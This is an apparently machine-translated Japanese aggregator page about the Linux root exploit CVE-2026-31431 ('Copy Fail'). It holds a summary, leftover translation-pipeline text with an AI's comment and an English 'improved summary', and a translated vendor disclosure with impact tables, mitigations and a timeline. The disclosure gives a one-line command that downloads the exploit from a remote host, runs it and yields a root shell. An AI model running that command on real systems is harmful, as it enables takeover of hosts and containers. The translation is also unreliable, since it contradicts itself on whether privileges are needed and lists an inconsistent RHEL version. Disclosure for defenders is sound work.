
2026/04/30 3:13
コピー失敗 – CVE-2026-31431
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
CVE-2026-31431「Copy Fail」は、Xint Code による自動スキャンで発見された重大なコンテナエスケープ脆弱性であり、Linux システム上の何らかの未特権ユーザーが root に権限を昇級することを可能にします。この欠陥は 2017 年に追加された
algif_aead モジュールにおける論理エラーに起因しており、タイミングの問題やレース条件が存在しない直線の攻撃経路によってデータ漏洩を引き起こします。2026-04-29 に公開され、2017 年以来のほぼすべての主流の Linux ディストリビューションに影響を与えており、Ubuntu、RHEL、Amazon Linux、SUSE、Debian、Arch、Fedora などを含むスタンドアロンの 732 バイトのProof-of-Conceptスクリプトによって確認されています。
重大性と範囲:
- 高リスク: マルチテナントホスト、Kubernetes クラスター、CI リナラー、クラウド SaaS 環境。
- 中リスク: シングルトナントサーバー。
- 比較的低リスク: シングルユーザーのノートパソコン(権限昇級のみ)。
緩和措置と影響: 管理者は直ちにメインラインの修正(コミット
a664bf3d603d で特定)を適用する必要があります。緊急的な臨時対策として、脆弱なモジュールを無効化するために /etc/modprobe.d/disable-algif.conf を使用し、rmmod algif_aead を実行してください。AF_ALG の無効化は、それを明示的に使用するアプリケーション(例:afalg エンジンを使用する OpenSSL)に影響を与えるものの、dm-crypt、LUKS、IPsec、SSH などのコアサービスには影響しません。非信頼のワークロードについては、パッチの有無に関わらず追加の防御層として seccomp を使用して AF_ALG ソケットの作成をブロックすることをお勧めします。
Text to translate
The original summary is well-written, clear, and comprehensive. No improvement is strictly necessary, but a slightly more structured version below offers better readability while retaining all key points.
Improved Summary: CVE-2026-31431 "Copy Fail"
A critical container escape vulnerability, CVE-2026-31431 ("Copy Fail"), discovered by Xint Code via automated scanning, allows any unprivileged user on Linux systems to escalate privileges to root. The flaw stems from a logic error in the
algif_aead module—an optimization added in 2017—which enables data leakage through a straight-line attack path without timing issues or race conditions. Disclosed publicly on 2026-04-29, the vulnerability affects nearly all mainstream Linux distributions since 2017, confirmed across Ubuntu, RHEL, Amazon Linux, SUSE, Debian, Arch, Fedora, and more via a standalone 732-byte proof-of-concept script.
Severity & Scope:
- High Risk: Multi-tenant hosts, Kubernetes clusters, CI runners, and cloud SaaS environments.
- Medium Risk: Single-tenant servers.
- Lower Risk: Single-user laptops (privilege escalation only).
Mitigation & Impact: Administrators must urgently apply the mainline fix identified by commit
a664bf3d603d. As an immediate temporary measure, disable the vulnerable module using /etc/modprobe.d/disable-algif.conf and rmmod algif_aead. While disabling AF_ALG impacts applications explicitly using it (e.g., OpenSSL with the afalg engine), core services like dm-crypt, LUKS, IPsec, and SSH remain unaffected. For untrusted workloads, blocking AF_ALG socket creation via seccomp is recommended as an additional defense layer regardless of patch status.本文
コピー失敗:普遍的な Linux 権限昇格攻撃
破線円で示されたのはコピーの意図する着地点であり、そこから右下方へと連続して三つの帯を形成しながら流出している実線の円は、そのターゲットに到達しなかったコピーを表しています。
CVE-2026-31431
- 信頼性: 100% 確実に成功
- 互換性: 2017 年以降の全ディストリビューションに対応
- タイプ: コンテナエスケープに用いられる基元攻撃
- サイズ: 732 バイト
- 発見者: Xint Code 社によって発見
多くの Linux 向けの権限昇格exploit(LPE)は、レース条窗口やカーネル固有のオフセットが必要となりますが、「コピー失敗」は単純なロジック上の欠陥に起因しており、これらは一切不要です。この 732 バイトの Python スクリプトで、2017 年以来出荷されているすべての Linux ディストリビューションを root(最高権限)へ昇格させることができます。
authencesn というコマンドに含まれる単一のロジックバグが、AF_ALG および splice() を介して 4 バイト分のページキャッシュの書き込み操作に連鎖しており、約 10 年にわたり沈黙していた脆弱性です。
デモ
同じスクリプトを使って四つの異なるディストリビューションをテストし、わずか一回の実行で四つの root シェルを取得しました。修正を加えることなく、この同一の exploit バイナリがすべての Linux ディストリビューションで動作します。
デモ: tmux — コピー失敗デモ(ライブ実行)
影響範囲
2017 年からパッチ適用までの間にビルドされたカーネルを搭載している場合、つまり実質的に主流のすべての Linux ディストリビューションにおいて、対象となります。
「コピー失敗」を実行するには特権を持つローカルユーザーアカウントがあれば十分です。ネットワークへのアクセス、カーネルデバッグ機能、または事前にインストールされる特殊なツールは不要です。カーネル暗号化 API(AF_ALG)が実質的なすべての主流ディストリビューションのデフォルト設定で有効になっているため、2017 年からパッチ適用までの期間を自動的に利用できます。
実際に検証した主要なディストリビューション:
| ディストリビューション | カーネルバージョン |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 14.3 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
これらは直接検証したものです。Debian、Arch、Fedora、Rocky、Alma、Oracle、または組み込みシステムなど、影響を受けるカーネルを搭載している他のディストリビューションも同様の挙動を示します。他での検証結果を共有したい場合は、Issue を作成してリストに加えてください。
パッチ適用を行う前に?
| 重なり | シナリオ | 影響度 |
|---|---|---|
| 高 | マルチテナント Linux ホスト | 共有開発環境、シェル-as-a-サービス、ジャンプホスト、ビルドサーバーなど、複数のユーザーが同一カーネルを共有する場所。 (あらゆるユーザーが root になる) |
| 高 | Kubernetes / コンテナクラスター | ページキャッシュはホスト全体で共有されています。適切な基元攻撃を持つポッドは、ノードを侵害し、テナント境界を越えることができます。 (コンテナ間、テナント間の横移動が可能) |
| 高 | CI ランナーおよびビルドファーム | GitHub Actions の自己所有ランナー、GitLab ランナー、Jenkins エージェントなど、不信任された PR コードを常設ユーザーとして実行し、共有カーネル上にある環境。 (PR がランナー上の root になる) |
| 高 | ユーザーコードを実行するクラウド SaaS | ノートブックホスト、エージェントサンドボックス、サーバーレス関数、テナントが提供するコンテナやスクリプトのいずれか。 (テナントがホストの root になる) |
| 中 | 標準的な Linux サーバー | シングルテナントのプロダクション環境で、シェルアクセスはチームのみが可能。 (内部 LPE; Web 向けの RCE と窃取された認証情報の連鎖と組み合わせて使用) |
| 低い | シングルユーザーのラップトップおよびワークステーション | あなた自身が唯一のユーザーです。このバグは単独で遠隔攻撃者のアクセスを提供するわけではありませんが、ローカルコードの実行結果を root として昇格させることは可能です。 (ポストエクスプロイト時の権限昇格) |
Exploit(漏洞利用)
PoC は、防御者が自身のシステムを検証し、ベンダーのパッチの有効性を確認するために公開されています。
慎重に使用してください。 お持ちのシステムか、テストする権限をすでに有するシステムのみで実行してください。このスクリプトはセットUIDバイナリのページキャッシュを変更するため、再起動では変更は持続しませんでしたが、生成された root シェルは本物です。プロダクション環境での実行は避けてください。
- ファイル:
(732 バイト)copy_fail_exp.py- 自立した PoC。Python 3.10+ の標準ライブラリ(os, socket, zlib)のみを使用します。
- デフォルトでは
をターゲットに設定していますが、第 1 引数として別のセットUID バイナリを指定することも可能です。/usr/bin/su - SHA256:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
快速実行:
curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Issue トラッカー: https://github.com/theori-io/copy-fail-CVE-2026-31431
対策(Mitigation)
まずはパッチを適用してください。ディストリビューションのカーネルパッケージを更新し、メインラインコミット
a664bf3d603d を含むバージョンへ更新してください。これは 2017 年の algif_aead in-place オプティマイザを元に戻すものであり、これによりページキャッシュページの writable 宛先スキャッターリストに到達することを防ぐことができます。多くの主要なディストリビューションはこのパッチを配布しています。
パッチ適用前:
algif_aead モジュールを無効化してください。
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # rmmod algif_aead 2>/dev/null || true
何が壊れるか? 圧倒的な数のシステムにおいては、測定可能な影響はありません。
- 影響しない: dm-crypt / LUKS, kTLS, IPsec/XFRM, in-kernel TLS, OpenSSL/GnuTLS/NSS のデフォルトビルド、SSH, カーネルキーリング暗号化。これらはすべてカーネル内の暗号化 API を直接使用するため AF_ALG を経由しません。
- 影響する可能性あり: 明示的に AF_ALG を使用するように設定されたユーザー空間プログラム — および OpenSSL の afalg エンジンが明示的に有効化されている場合や、一部の組み込み暗号化オフロードパス、または AEAD/スキプハ/ハッシュソケットを直接バインドしているアプリケーションなど。疑問がある場合は
またはlsof | grep AF_ALG
で確認してください。ss -xa - パフォーマンス: AF_ALG はカーネル暗号化 API へのユーザー空間フロントエンドです。これを無効にしても、すでに呼び出しを行っていたもの以外のパフォーマンス低下はありません。呼び出しを行っていたものの場合は、パフォーマンスが通常のユーザー空間暗号化ライブラリにフォールバックします。これは既にほとんど全てのシステムが行っている動作です。
不信任されたワークロード(コンテナ、サンドボックス、CI)については、パッチの有無にかかわらず、seccomp を介して AF_ALG ソケットの作成をブロックしてください。
公開までのタイムライン
- 2026-03-23: Linux カーネルセキュリティチームに報告
- 2026-03-24: 初回対応確認
- 2026-03-25: パッチの提案およびレビュー開始
- 2026-04-01: メインラインへのパッチコミット
- 2026-04-22: CVE-2026-31431 の割り当て
- 2026-04-29: 一般公開 (https://copy.fail/)
Xint Code
あなたのソフトウェアは AI エポックにおいて安全ですか?
「コピー失敗」は、Xint Code が Linux 暗号化サブシステムに対して約 1 時間のスキャンにより発見されました。完全な根本原因、図面、およびそれを発見したオペレータープロンプトについては、Xint のブログ記事に詳しく掲載されています。
同様のスキャンでは、他の高重大度バグも浮上しており、現在は協調的な公開プロセス中です。Xint Code は、同じような方式でプロダクションコードベースの監査を実施しています——一人のオペレータープロンプト、ハネス(自動化テスト枠組み)なし、トリガーと影響に関する物語と共に優先順位付けされた結果を提示します。
実績
- 0-day RCE: データベースカテゴリを網羅しました(Redis, PostgreSQL, MariaDB)。人間の介入なし。(ZeroDay Cloud)
- トップ3: DoD DARPA 主催の AI サイバーチャレンジにおいて、DARPA AIxCC ファイナリストに選出。
- 9 回の DEF CON CTF: DEF CON CTF の歴史上最も優勝回数の多いチーム。